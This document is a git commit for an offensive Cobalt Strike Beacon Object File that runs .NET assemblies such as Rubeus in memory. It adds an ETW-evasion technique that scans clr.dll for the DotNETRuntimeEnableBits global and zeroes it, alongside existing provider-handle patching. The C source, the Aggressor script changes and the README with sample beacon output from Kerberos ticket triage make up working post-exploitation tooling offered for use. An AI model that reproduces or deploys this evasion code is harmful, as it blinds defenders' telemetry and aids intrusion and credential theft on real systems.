Subscriber Bit Patching integration

Integration of the Subscriber Bit Patching technique into the BOF. Also properly unloads the sacrificial AppDomain before termination.
This commit is contained in:
loland
2025-12-03 11:35:29 +08:00
parent e6b0e1b455
commit ccd89f8ea7
5 changed files with 588 additions and 41 deletions
+66 -10
View File
@@ -16,13 +16,13 @@ Load `inlineExecute.cna` from `Cobalt Strike -> Script Manager -> Load`. Ensure
```shell
beacon> inlineExecute
[+] Usage: inlineExecute [-etw] [-verbose] <filepath> <args>
[+] Usage: inlineExecute [-etwH] [-etwB] [-verbose] <filepath> <args>
```
The `-etw` flag patches ETW in `clr.dll`.
The `-etwH` and `-etwB` flags patches ETW via the Provider Handle Patching and Subscriber Bit Patching technique respectively. They can be used together or individually.
```
inlineExecute -etw /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe triage
inlineExecute -etwH -etwB /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe triage
```
The `-verbose` flag outputs debugging information.
@@ -34,11 +34,62 @@ inlineExecute -verbose -etw /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.e
Example usage with `Rubeus.exe triage`.
```shell
[11/29 04:08:35] beacon> inlineExecute -etw /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe triage
[11/29 04:08:35] [+] Executing: /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe
[11/29 04:08:35] [+] Arguments: triage
[11/29 04:08:37] [+] host called home, sent: 459528 bytes
[11/29 04:08:37] [+] received output:
[12/02 22:26:17] beacon> inlineExecute -etwB -etwH -verbose /home/kali/Ghostpack-CompiledBinaries/Rubeus.exe triage
[12/02 22:26:17] [+] Executing: /home/kali/Ghostpack-CompiledBinaries/Rubeus.exe
[12/02 22:26:17] [+] Arguments: triage
[12/02 22:26:17] [+] host called home, sent: 461058 bytes
[12/02 22:26:17] [+] received output:
[+] Runtime info obtained
[12/02 22:26:17] [+] received output:
[+] Runtime is loadable
[12/02 22:26:17] [+] received output:
[+] ICorRuntimeHost obtained
[12/02 22:26:17] [+] received output:
[+] CLR started successfully
[12/02 22:26:17] [+] received output:
[+] DotNETRuntimeHandle address: 00007FFEA4140930
[12/02 22:26:17] [+] received output:
[+] DotNETRuntimeHandle value: 7310c0
[12/02 22:26:17] [+] received output:
[+] DotNETRuntimeHandle patched: 1
[12/02 22:26:17] [+] received output:
[+] DotNETRuntimeEnableBits address: 00007FFEA41311C0
[12/02 22:26:17] [+] received output:
[+] DotNETRuntimeEnableBits value: ffffffff
[12/02 22:26:17] [+] received output:
[+] DotNETRuntimeEnableBits patched: 0
[12/02 22:26:17] [+] received output:
[+] clr.dll loaded: 00007FFEA36A0000
[12/02 22:26:17] [+] received output:
[+] Anonymous pipe created
[12/02 22:26:17] [+] received output:
[+] Console created and hidden
[12/02 22:26:17] [+] received output:
[+] Redirected stdout/stderr to pipe
[12/02 22:26:17] [+] received output:
[+] AppDomain Created
[12/02 22:26:17] [+] received output:
[+] Assembly Loaded
[12/02 22:26:17] [+] received output:
[+] Assembly executed, reading output...
[12/02 22:26:17] [+] received output:
______ _
@@ -53,7 +104,7 @@ Example usage with `Rubeus.exe triage`.
Action: Triage Kerberos Tickets (Current User)
[*] Current LUID : 0x1bc1b
[*] Current LUID : 0x1e563
---------------------------------------
| LUID | UserName | Service | EndTime |
@@ -61,7 +112,12 @@ Action: Triage Kerberos Tickets (Current User)
---------------------------------------
[12/02 22:26:17] [+] received output:
[+] DotNETRuntimeHandle value restored: 7310c0
[11/29 04:08:37] [+] received output:
[12/02 22:26:17] [+] received output:
[+] DotNETRuntimeEnableBits value restored: ffffffff
[12/02 22:26:17] [+] received output:
[+] Done
```
+9 -5
View File
@@ -1,6 +1,6 @@
# inlineExecute.cna
$help = "Usage: inlineExecute [-etw] [-verbose] <filepath> <args>";
$help = "Usage: inlineExecute [-etwH] [-etwB] [-verbose] <filepath> <args>";
beacon_command_register(
"inlineExecute",
@@ -19,11 +19,15 @@ alias inlineExecute {
@args = split(' ', $data);
$patchEtw = false;
$patchEtwProviderHandle = false;
$patchEtwEnableBits = false;
$verbose = false;
for ($i = 0; $i < size(@args); $i++) {
if (@args[$i] iswm "-etw") {
$patchEtw = true;
if (@args[$i] iswm "-etwH") {
$patchEtwProviderHandle = true;
} else if (@args[$i] iswm "-etwB") {
$patchEtwEnableBits = true;
} else if (@args[$i] iswm "-verbose") {
$verbose = true;
@@ -61,7 +65,7 @@ alias inlineExecute {
return;
}
$bof_args = bof_pack($1, "bizii", $assemblyBytes, $assemblyLength, $assemblyArgs, $patchEtw, $verbose);
$bof_args = bof_pack($1, "biziii", $assemblyBytes, $assemblyLength, $assemblyArgs, $patchEtwProviderHandle, $patchEtwEnableBits, $verbose);
beacon_inline_execute($1, $bof, "go", $bof_args);
}
Binary file not shown.
+396
View File
@@ -0,0 +1,396 @@
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Additional BOF resources are available here:
* - https://github.com/Cobalt-Strike/bof_template
*
* Cobalt Strike 4.x
* ChangeLog:
* 1/25/2022: updated for 4.5
* 7/18/2023: Added BeaconInformation API for 4.9
* 7/31/2023: Added Key/Value store APIs for 4.9
* BeaconAddValue, BeaconGetValue, and BeaconRemoveValue
* 8/31/2023: Added Data store APIs for 4.9
* BeaconDataStoreGetItem, BeaconDataStoreProtectItem,
* BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries
* 9/01/2023: Added BeaconGetCustomUserData API for 4.9
* 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL
* Updated the BEACON_INFO data structure to add new parameters
* 4/19/2024: Added BeaconGetSyscallInformation API for 4.10
* 4/25/2024: Added APIs to call Beacon's system call implementation
* 12/18/2024: Updated BeaconGetSyscallInformation API for 4.11 (Breaking changes)
* 2/13/2025: Updated SYSCALL_API structure with more ntAPIs
*/
#ifndef _BEACON_H_
#define _BEACON_H_
#include <windows.h>
#ifdef __cplusplus
extern "C" {
#endif // __cplusplus
/* data API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size);
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
/* format API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, const char * text, int len);
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, const char * fmt, ...);
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
/* Output Functions */
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_OUTPUT_UTF8 0x20
#define CALLBACK_ERROR 0x0d
#define CALLBACK_CUSTOM 0x1000
#define CALLBACK_CUSTOM_LAST 0x13ff
DECLSPEC_IMPORT void BeaconOutput(int type, const char * data, int len);
DECLSPEC_IMPORT void BeaconPrintf(int type, const char * fmt, ...);
/* Token Functions */
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void BeaconRevertToken();
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
/* Spawn+Inject Functions */
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
/* Utility Functions */
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
/* Beacon Information */
/*
* ptr - pointer to the base address of the allocated memory.
* size - the number of bytes allocated for the ptr.
*/
typedef struct {
char * ptr;
size_t size;
} HEAP_RECORD;
#define MASK_SIZE 13
/* Information the user can set in the USER_DATA via a UDRL */
typedef enum {
PURPOSE_EMPTY,
PURPOSE_GENERIC_BUFFER,
PURPOSE_BEACON_MEMORY,
PURPOSE_SLEEPMASK_MEMORY,
PURPOSE_BOF_MEMORY,
PURPOSE_USER_DEFINED_MEMORY = 1000
} ALLOCATED_MEMORY_PURPOSE;
typedef enum {
LABEL_EMPTY,
LABEL_BUFFER,
LABEL_PEHEADER,
LABEL_TEXT,
LABEL_RDATA,
LABEL_DATA,
LABEL_PDATA,
LABEL_RELOC,
LABEL_USER_DEFINED = 1000
} ALLOCATED_MEMORY_LABEL;
typedef enum {
METHOD_UNKNOWN,
METHOD_VIRTUALALLOC,
METHOD_HEAPALLOC,
METHOD_MODULESTOMP,
METHOD_NTMAPVIEW,
METHOD_USER_DEFINED = 1000,
} ALLOCATED_MEMORY_ALLOCATION_METHOD;
/**
* This structure allows the user to provide additional information
* about the allocated heap for cleanup. It is mandatory to provide
* the HeapHandle but the DestroyHeap Boolean can be used to indicate
* whether the clean up code should destroy the heap or simply free the pages.
* This is useful in situations where a loader allocates memory in the
* processes current heap.
*/
typedef struct _HEAPALLOC_INFO {
PVOID HeapHandle;
BOOL DestroyHeap;
} HEAPALLOC_INFO, *PHEAPALLOC_INFO;
typedef struct _MODULESTOMP_INFO {
HMODULE ModuleHandle;
} MODULESTOMP_INFO, *PMODULESTOMP_INFO;
typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION {
HEAPALLOC_INFO HeapAllocInfo;
MODULESTOMP_INFO ModuleStompInfo;
PVOID Custom;
} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION;
typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION {
BOOL Cleanup;
ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod;
ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation;
} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION;
typedef struct _ALLOCATED_MEMORY_SECTION {
ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development
PVOID BaseAddress; // Pointer to virtual address of section
SIZE_T VirtualSize; // Virtual size of the section
DWORD CurrentProtect; // Current memory protection of the section
DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking)
BOOL MaskSection; // A boolean to indicate whether the section should be masked
} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION;
typedef struct _ALLOCATED_MEMORY_REGION {
ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory
PVOID AllocationBase; // The base address of the allocated memory block
SIZE_T RegionSize; // The size of the allocated memory block
DWORD Type; // The type of memory allocated
ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures
ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation
} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION;
typedef struct {
ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];
} ALLOCATED_MEMORY, *PALLOCATED_MEMORY;
/*
* version - The version of the beacon dll was added for release 4.10
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
* e.g. 0x040900 -> CS 4.9
* 0x041000 -> CS 4.10
*
* sleep_mask_ptr - pointer to the sleep mask base address
* sleep_mask_text_size - the sleep mask text section size
* sleep_mask_total_size - the sleep mask total memory size
*
* beacon_ptr - pointer to beacon's base address
* The stage.obfuscate flag affects this value when using CS default loader.
* true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)
* false: beacon_ptr = allocated_buffer (A valid address)
* For a UDRL the beacon_ptr will be set to the 1st argument to DllMain
* when the 2nd argument is set to DLL_PROCESS_ATTACH.
* heap_records - list of memory addresses on the heap beacon wants to mask.
* The list is terminated by the HEAP_RECORD.ptr set to NULL.
* mask - the mask that beacon randomly generated to apply
*
* Added in version 4.10
* allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA
* via a UDRL.
*/
typedef struct {
unsigned int version;
char * sleep_mask_ptr;
DWORD sleep_mask_text_size;
DWORD sleep_mask_total_size;
char * beacon_ptr;
HEAP_RECORD * heap_records;
char mask[MASK_SIZE];
ALLOCATED_MEMORY allocatedMemory;
} BEACON_INFO, *PBEACON_INFO;
DECLSPEC_IMPORT BOOL BeaconInformation(PBEACON_INFO info);
/* Key/Value store functions
* These functions are used to associate a key to a memory address and save
* that information into beacon. These memory addresses can then be
* retrieved in a subsequent execution of a BOF.
*
* key - the key will be converted to a hash which is used to locate the
* memory address.
*
* ptr - a memory address to save.
*
* Considerations:
* - The contents at the memory address is not masked by beacon.
* - The contents at the memory address is not released by beacon.
*
*/
DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr);
DECLSPEC_IMPORT void * BeaconGetValue(const char * key);
DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key);
/* Beacon Data Store functions
* These functions are used to access items in Beacon's Data Store.
* BeaconDataStoreGetItem returns NULL if the index does not exist.
*
* The contents are masked by default, and BOFs must unprotect the entry
* before accessing the data buffer. BOFs must also protect the entry
* after the data is not used anymore.
*
*/
#define DATA_STORE_TYPE_EMPTY 0
#define DATA_STORE_TYPE_GENERAL_FILE 1
typedef struct {
int type;
DWORD64 hash;
BOOL masked;
char* buffer;
size_t length;
} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT;
DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);
DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index);
DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index);
DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries();
/* Beacon User Data functions */
DECLSPEC_IMPORT char * BeaconGetCustomUserData();
/* Beacon System call */
/* Syscalls API */
typedef struct
{
PVOID fnAddr;
PVOID jmpAddr;
DWORD sysnum;
} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY;
typedef struct
{
SYSCALL_API_ENTRY ntAllocateVirtualMemory;
SYSCALL_API_ENTRY ntProtectVirtualMemory;
SYSCALL_API_ENTRY ntFreeVirtualMemory;
SYSCALL_API_ENTRY ntGetContextThread;
SYSCALL_API_ENTRY ntSetContextThread;
SYSCALL_API_ENTRY ntResumeThread;
SYSCALL_API_ENTRY ntCreateThreadEx;
SYSCALL_API_ENTRY ntOpenProcess;
SYSCALL_API_ENTRY ntOpenThread;
SYSCALL_API_ENTRY ntClose;
SYSCALL_API_ENTRY ntCreateSection;
SYSCALL_API_ENTRY ntMapViewOfSection;
SYSCALL_API_ENTRY ntUnmapViewOfSection;
SYSCALL_API_ENTRY ntQueryVirtualMemory;
SYSCALL_API_ENTRY ntDuplicateObject;
SYSCALL_API_ENTRY ntReadVirtualMemory;
SYSCALL_API_ENTRY ntWriteVirtualMemory;
SYSCALL_API_ENTRY ntReadFile;
SYSCALL_API_ENTRY ntWriteFile;
SYSCALL_API_ENTRY ntCreateFile;
SYSCALL_API_ENTRY ntQueueApcThread;
SYSCALL_API_ENTRY ntCreateProcess;
SYSCALL_API_ENTRY ntOpenProcessToken;
SYSCALL_API_ENTRY ntTestAlert;
SYSCALL_API_ENTRY ntSuspendProcess;
SYSCALL_API_ENTRY ntResumeProcess;
SYSCALL_API_ENTRY ntQuerySystemInformation;
SYSCALL_API_ENTRY ntQueryDirectoryFile;
SYSCALL_API_ENTRY ntSetInformationProcess;
SYSCALL_API_ENTRY ntSetInformationThread;
SYSCALL_API_ENTRY ntQueryInformationProcess;
SYSCALL_API_ENTRY ntQueryInformationThread;
SYSCALL_API_ENTRY ntOpenSection;
SYSCALL_API_ENTRY ntAdjustPrivilegesToken;
SYSCALL_API_ENTRY ntDeviceIoControlFile;
SYSCALL_API_ENTRY ntWaitForMultipleObjects;
} SYSCALL_API, *PSYSCALL_API;
/* Additional Run Time Library (RTL) addresses used to support system calls.
* If they are not set then system calls that require them will fall back
* to the Standard Windows API.
*
* Required to support the following system calls:
* ntCreateFile
*/
typedef struct
{
PVOID rtlDosPathNameToNtPathNameUWithStatusAddr;
PVOID rtlFreeHeapAddr;
PVOID rtlGetProcessHeapAddr;
} RTL_API, *PRTL_API;
/* Updated in version 4.11 to use the entire structure instead of pointers to the structure.
* This allows for retrieving a copy of the information which would be under the BOF's
* control instead of a reference pointer which may be obfuscated when beacon is sleeping.
*/
typedef struct
{
SYSCALL_API syscalls;
RTL_API rtls;
} BEACON_SYSCALLS, *PBEACON_SYSCALLS;
/* Updated in version 4.11 to include the size of the info pointer, which equals sizeof(BEACON_SYSCALLS) */
DECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, SIZE_T infoSize, BOOL resolveIfNotInitialized);
/* Beacon System call functions which will use the current system call method */
DECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
DECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
DECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
DECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
DECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
DECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
DECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
DECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle);
DECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId);
DECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId);
DECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object);
DECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress);
DECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length);
DECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);
DECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead);
DECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);
/* Beacon Gate APIs */
DECLSPEC_IMPORT VOID BeaconDisableBeaconGate();
DECLSPEC_IMPORT VOID BeaconEnableBeaconGate();
DECLSPEC_IMPORT VOID BeaconDisableBeaconGateMasking();
DECLSPEC_IMPORT VOID BeaconEnableBeaconGateMasking();
/* Beacon User Data
*
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
* e.g. 0x040900 -> CS 4.9
* 0x041000 -> CS 4.10
*/
#define DLL_BEACON_USER_DATA 0x0d
#define BEACON_USER_DATA_CUSTOM_SIZE 32
typedef struct
{
unsigned int version;
PSYSCALL_API syscalls;
char custom[BEACON_USER_DATA_CUSTOM_SIZE];
PRTL_API rtls;
PALLOCATED_MEMORY allocatedMemory;
} USER_DATA, * PUSER_DATA;
#ifdef __cplusplus
}
#endif // __cplusplus
#endif // _BEACON_H_
+117 -26
View File
@@ -31,7 +31,7 @@ typedef struct _CLRContext {
ICLRRuntimeInfo* pRuntimeInfo;
ICorRuntimeHost* pCorRuntimeHost;
IUnknown* pAppDomainThunk;
AppDomain* pDefaultAppDomain;
AppDomain* pSacrifcialAppDomain;
Assembly* pAssembly;
MethodInfo* pMethodInfo;
} CLRContext;
@@ -271,13 +271,13 @@ static BOOL createAppDomain(HMODULE kernel32Base, CLRContext* ctx, HANDLE hOrigi
_SetStdHandle pSetStdHandle = (_SetStdHandle)getProcAddr(kernel32Base, "SetStdHandle");
HRESULT hr;
hr = ctx->pCorRuntimeHost->lpVtbl->CreateDomain(ctx->pCorRuntimeHost, (LPCWSTR)L"placeholder_domain", NULL, &ctx->pAppDomainThunk);
hr = ctx->pCorRuntimeHost->lpVtbl->CreateDomain(ctx->pCorRuntimeHost, (LPCWSTR)L"PlaceholderDoman", NULL, &ctx->pAppDomainThunk);
if (FAILED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "[-] CreateDomain failed: 0x%08x\n", hr);
return FALSE;
}
hr = ctx->pAppDomainThunk->lpVtbl->QueryInterface(ctx->pAppDomainThunk, &xIID_AppDomain, (VOID**)&ctx->pDefaultAppDomain);
hr = ctx->pAppDomainThunk->lpVtbl->QueryInterface(ctx->pAppDomainThunk, &xIID_AppDomain, (VOID**)&ctx->pSacrifcialAppDomain);
if (FAILED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "[-] QueryInterface for AppDomain failed: 0x%08x\n", hr);
return FALSE;
@@ -320,7 +320,7 @@ static BOOL loadAssembly(HMODULE kernel32Base, unsigned char* assemblyBytes, siz
return FALSE;
}
hr = ctx->pDefaultAppDomain->lpVtbl->Load_3(ctx->pDefaultAppDomain, pSafeArray, &ctx->pAssembly);
hr = ctx->pSacrifcialAppDomain->lpVtbl->Load_3(ctx->pSacrifcialAppDomain, pSafeArray, &ctx->pAssembly);
if (FAILED(hr)) {
BeaconPrintf(CALLBACK_ERROR, "[-] Load_3 failed: 0x%08x\n", hr);
OLEAUT32$SafeArrayDestroy(pSafeArray);
@@ -434,17 +434,22 @@ static void cleanupCLR(HMODULE kernel32Base, CLRContext* ctx) {
ctx->pAssembly->lpVtbl->Release(ctx->pAssembly);
ctx->pAssembly = NULL;
}
// unloads SacrifcialAppDomain
if (ctx->pCorRuntimeHost && ctx->pSacrifcialAppDomain) {
ctx->pCorRuntimeHost->lpVtbl->UnloadDomain(ctx->pCorRuntimeHost, (IUnknown *)(ctx->pSacrifcialAppDomain));
}
if (ctx->pDefaultAppDomain) {
ctx->pDefaultAppDomain->lpVtbl->Release(ctx->pDefaultAppDomain);
ctx->pDefaultAppDomain = NULL;
if (ctx->pSacrifcialAppDomain) {
ctx->pSacrifcialAppDomain->lpVtbl->Release(ctx->pSacrifcialAppDomain);
ctx->pSacrifcialAppDomain = NULL;
}
if (ctx->pAppDomainThunk) {
ctx->pAppDomainThunk->lpVtbl->Release(ctx->pAppDomainThunk);
ctx->pAppDomainThunk = NULL;
}
if (ctx->pCorRuntimeHost) {
ctx->pCorRuntimeHost->lpVtbl->Stop(ctx->pCorRuntimeHost);
ctx->pCorRuntimeHost->lpVtbl->Release(ctx->pCorRuntimeHost);
@@ -460,7 +465,7 @@ static void cleanupCLR(HMODULE kernel32Base, CLRContext* ctx) {
ctx->pClrMetaHost->lpVtbl->Release(ctx->pClrMetaHost);
ctx->pClrMetaHost = NULL;
}
_FreeConsole pFreeConsole = (_FreeConsole)getProcAddr(kernel32Base, "FreeConsole");
pFreeConsole();
@@ -534,6 +539,57 @@ int isEtwFunc(unsigned char* funcAddr, void* etwEventWrite) {
return 1;
}
int* findDotNETRuntimeEnableBits() {
void* clrBase = getImageBase(L"clr.dll");
int clrSize = getImageSize(clrBase);
// assuming a max of 20 global variables that match the pattern
int MAX = 20;
int* globalVars[20] = { 0 };
int globalVarCounts[20] = { 0 };
for (int i = 0; i < clrSize; i++) {
unsigned char* addr = (unsigned char*)clrBase + i;
// matching "test cs:Microsoft_Windows_DotNETRuntimeEnableBits, 80000000h"
if (addr[0] != 0xf7 || addr[1] != 0x5) {
continue;
}
if (*(DWORD*)(addr + 6) != 0x80000000) {
continue;
}
// calculating global var address
unsigned char* rip = addr + 10;
int offset = *(DWORD*)(addr + 2);
int* globalVarAddr = (int*)(rip + offset);
// storing frequency of potential vars that could be Microsoft_Windows_DotNETRuntimeEnableBits
for (int i = 0; i < MAX; i ++) {
if (globalVars[i] == 0) {
globalVars[i] = globalVarAddr;
globalVarCounts[i] = 1;
break;
}
if (globalVars[i] == globalVarAddr) {
globalVarCounts[i] += 1;
}
}
}
// return the most frequent var - that would be Microsoft_Windows_DotNETRuntimeEnableBits
int mostFreq = 0;
for (int i = 1; i < MAX; i ++) {
if (globalVarCounts[mostFreq] < globalVarCounts[i]) {
mostFreq = i;
}
}
return globalVars[mostFreq];
}
int* findDotNetRuntimeHandle() {
void* clrBase = getImageBase(L"clr.dll");
int clrSize = getImageSize(clrBase);
@@ -592,15 +648,24 @@ int* findDotNetRuntimeHandle() {
return handles[mostFreq];
}
void turnOffEtw(int* handleAddr, int* handleVal) {
void turnOffEtwHandle(int* handleAddr, int* handleVal) {
*handleVal = *handleAddr;
*handleAddr = 1;
}
void turnOnEtw(int* handleAddr, int handleVal) {
void turnOnEtwHandle(int* handleAddr, int handleVal) {
*handleAddr = handleVal;
}
void turnOffEtwEnableBits(int* enableBitsAddr, int* enableBitsVal) {
*enableBitsVal = *enableBitsAddr;
*enableBitsAddr = 0;
}
void turnOnEtwEnableBits(int* enableBitsAddr, int enableBitsVal) {
*enableBitsAddr = enableBitsVal;
}
void go(char *args, int len) {
// parse arguments
datap parser;
@@ -608,7 +673,8 @@ void go(char *args, int len) {
unsigned char* assemblyBytes = BeaconDataExtract(&parser, NULL);
size_t assemblyLength = BeaconDataInt(&parser);
char* assemblyArgs = BeaconDataExtract(&parser, NULL);
size_t patchEtw = BeaconDataInt(&parser);
size_t patchEtwHandle = BeaconDataInt(&parser);
size_t patchEtwEnableBits = BeaconDataInt(&parser);
size_t verbose = BeaconDataInt(&parser);
if (assemblyLength == 0) {
@@ -628,18 +694,35 @@ void go(char *args, int len) {
return;
}
// null handleAddr
int* handleAddr = findDotNetRuntimeHandle();
// provider handle patching
int* handleAddr;
int handleVal;
if (patchEtw) {
turnOffEtw(handleAddr, &handleVal);
if (patchEtwHandle) {
handleAddr = findDotNetRuntimeHandle();
turnOffEtwHandle(handleAddr, &handleVal);
if (verbose) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle address: %p\n", handleAddr);
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle value: %x\n", handleVal);
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle patched: %x\n", *handleAddr);
}
}
if (patchEtw && verbose) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle address: %p\n", handleAddr);
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeHandle value: %p\n", handleVal);
int* enableBitsAddr;
int enableBitsVal;
if (patchEtwEnableBits) {
enableBitsAddr = findDotNETRuntimeEnableBits();
turnOffEtwEnableBits(enableBitsAddr, &enableBitsVal);
if (verbose) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeEnableBits address: %p\n", enableBitsAddr);
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeEnableBits value: %x\n", enableBitsVal);
BeaconPrintf(CALLBACK_OUTPUT, "[+] DotNETRuntimeEnableBits patched: %x\n", *enableBitsAddr);
}
}
if (verbose) {
HMODULE clrBase = getImageBase(L"clr.dll");
BeaconPrintf(CALLBACK_OUTPUT, "[+] clr.dll loaded: %p\n", clrBase);
@@ -684,11 +767,6 @@ void go(char *args, int len) {
return;
}
// null handleAddr
if (patchEtw) {
turnOnEtw(handleAddr, handleVal);
}
if (verbose) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] Assembly executed, reading output...\n");
}
@@ -700,12 +778,12 @@ void go(char *args, int len) {
DWORD totalBytesRead = 0;
char* returnData = readOutput(hReadPipe, &totalBytesRead);
// close read pipe
_CloseHandle pCloseHandle = (_CloseHandle)getProcAddr(kernel32Base, "CloseHandle");
pCloseHandle(hReadPipe);
if (totalBytesRead > 0) {
returnData[totalBytesRead] = '\0';
// BeaconPrintf(CALLBACK_OUTPUT, "\n=== Output (%d bytes) ===\n%s\n", totalBytesRead, returnData);
BeaconPrintf(CALLBACK_OUTPUT, "\n%s\n", returnData);
} else {
BeaconPrintf(CALLBACK_OUTPUT, "[!] No output captured (%d bytes read)\n", totalBytesRead);
@@ -715,5 +793,18 @@ void go(char *args, int len) {
cleanupCLR(kernel32Base, &ctx);
